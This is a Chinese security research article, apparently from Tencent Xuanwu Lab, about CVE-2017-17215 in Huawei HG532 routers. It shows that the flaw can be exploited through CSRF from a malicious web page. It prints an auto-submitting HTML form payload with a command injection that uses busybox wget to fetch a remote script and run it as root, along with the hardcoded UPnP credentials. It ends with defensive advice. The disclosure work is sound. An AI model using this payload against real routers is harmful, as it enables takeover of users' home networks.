作者:salt@騰訊玄武實驗室
2017年11月27日Check Point 公司報告了一個華為 HG532 系列路由器由遠程命令執行漏洞,漏洞編號為CVE-2017-17215。利用該漏洞,向路由器UPnP服務監聽的37215端口發送一個特殊構造的 HTTP 請求包,即可觸發命令執行。此端口在默認配置下并不能從外網訪問,但由于該系列路由器數量極其巨大,所以互聯網上仍有較多可訪問到該端口的設備存在。目前已經有蠕蟲在利用這些暴露在互聯網上的端口進行傳播[1]。
近期國內外已有不少對該漏洞原理的分析[2],在此不再贅述。但我們發現該漏洞實際的威脅可能比目前大家所認為的更為嚴重,某些對該漏洞的防御建議也是不夠的甚至錯誤的。37215端口暴露在互聯網上的HG532系列設備只占其中很少一部分,就已經足夠多到被蠕蟲利用,而如果其它那些只在內網能訪問到的37215端口也可以被攻擊者利用呢?
在2013年,國內爆發了一次家用路由器 DNS 劫持事件,利用的是WEB安全里的CSRF攻擊技術。這種攻擊技術能利用在現在HG532路由器的這個漏洞上嗎?如果可以,那么只要誘使HG532路由器的用戶用手機、電腦訪問一個惡意頁面,就可以導致路由器完全被攻擊者控制。
我們從漏洞的PoC開始看起。在PoC里,漏洞成功利用需要構造一個XML格式的POST請求包,并且需要通過服務器端的HTTP基礎認證,payload里并沒有需要預測的部分。因此這個請求進行CSRF攻擊測試只需要完成兩點。一是成功通過服務器端的HTTP基礎認證,二是構造XML攻擊代碼。
首先來看HTTP基礎認證的部分。如果通不過HTTP基礎認證,服務器會返回401錯誤,無法到達存在問題的邏輯。目前網絡流傳的PoC大部分為在HTTP的請求頭里構造一個適用于基礎認證的字段。
Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
在現代瀏覽器中,要想在HTTP請求頭中增加自定義的項只能通過XMLHTTPRequest的方式來發出請求,同時需要服務端返回允許添加頭部內容的列表。而UPnP服務是不允許XMLHTTPRequest在請求頭中添加這一項的。為了繞過這個限制,我們可以采用DNS Rebind的技術。但是我們真的需要這么復雜的攻擊方式嗎?
仔細觀察HTTP基礎認證的字段,我們可以發現,用于基礎認證的用戶名和密碼為dslf-config:admin。因此我們只需要構造表單,使之POST到http:// dslf-config:admin @routerip:37215即可自動完成基礎認證。
接下來就是如何用表單來構造一個XML的請求包了。為了不讓瀏覽器對請求體編碼,需要指定表單的enctype為text/plain,利用input標簽的name和value兩個屬性的值可以構造出我們想要的內容。 最終構造的CSRF攻擊payload樣例如下。
<body onload='document.forms[0].submit()'>
<form method='POST' enctype='text/plain' action="http://dslf-config:admin@192.168.1.1:37215/ctrlt/DeviceUpgrade_1">
<input name='<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>a' value='1;$(/bin/busybox wget -g 192.168.1.2 -l /tmp/.f -r /b);</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>'>
</form>
</body>
攻擊者只要誘使用戶訪問包含上述代碼的頁面,存在漏洞的路由器就會遠程下載一個bash腳本并以root的身份執行。
所以,實際上幾乎所有存在漏洞的華為 HG532 系列路由器都面臨著被遠程攻擊的風險,而不只是37215端口暴露在互聯網上的那些。一條包含惡意鏈接的短信就可以讓你的路由器被攻擊者控制。而一旦路由器被控制,就可能導致內網其它設備的淪陷。
同時,根據我們的實際測試,即使用戶關閉了UPnP服務,存在漏洞的路由器在重啟后仍然能遭受攻擊。并且修改路由器管理口令并不會影響UPnP服務基礎認證所用的口令。所以試圖關閉UPnP服務和修改路由器管理口令來防范該漏洞都是不可行的。

此外,即使將 HG532 內置防火墻等級設置為高,也無法防御此種利用方式的攻擊。

最有效的防御方式是安裝新版固件。目前在HG532e產品頁面[4]中可以看到的最新固件是2016年11月7日的版本[4]。雖然官方安全公告中并未說明該固件已不受CVE-2017-17215的影響,但據我們的分析和測試,至少目前所知的CVE-2017-17215漏洞攻擊方式對此版本固件是無效的。
此外,如果把路由器LAN側IP地址改成非默認地址,如下圖中改為了192.168.2.1,也可對攻擊造成一定程度的干擾。但攻擊者仍有可能用很多其他方法獲知到真正的路由器LAN側IP地址。

最后感謝tk提出的攻擊思路,感謝huimingliu、hyperchem在獲取路由器shell過程中提供的巨大幫助。
演示視頻:
http://v.qq.com/x/page/w1331fyuh9k.html
參考資料:
[1] 騰訊蜜罐系統捕獲高危IoT蠕蟲Okiru
http://slab.qq.com/news/tech/1705.html
[2] Huawei HG532 系列路由器遠程命令執行漏洞分析
http://www.bjnorthway.com/490/
[3] 關于HG532產品存在遠程代碼執行安全漏洞的聲明
http://www.huawei.com/cn/psirt/security-notices/huawei-sn-20171130-01-hg532-cn
[4] HG532e產品頁面
http://m.huawei.com/cnxmobile/consumer-ncbdtest/home-internet/broadband-devices/detail/hg532e-cn.htm
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/498/
暫無評論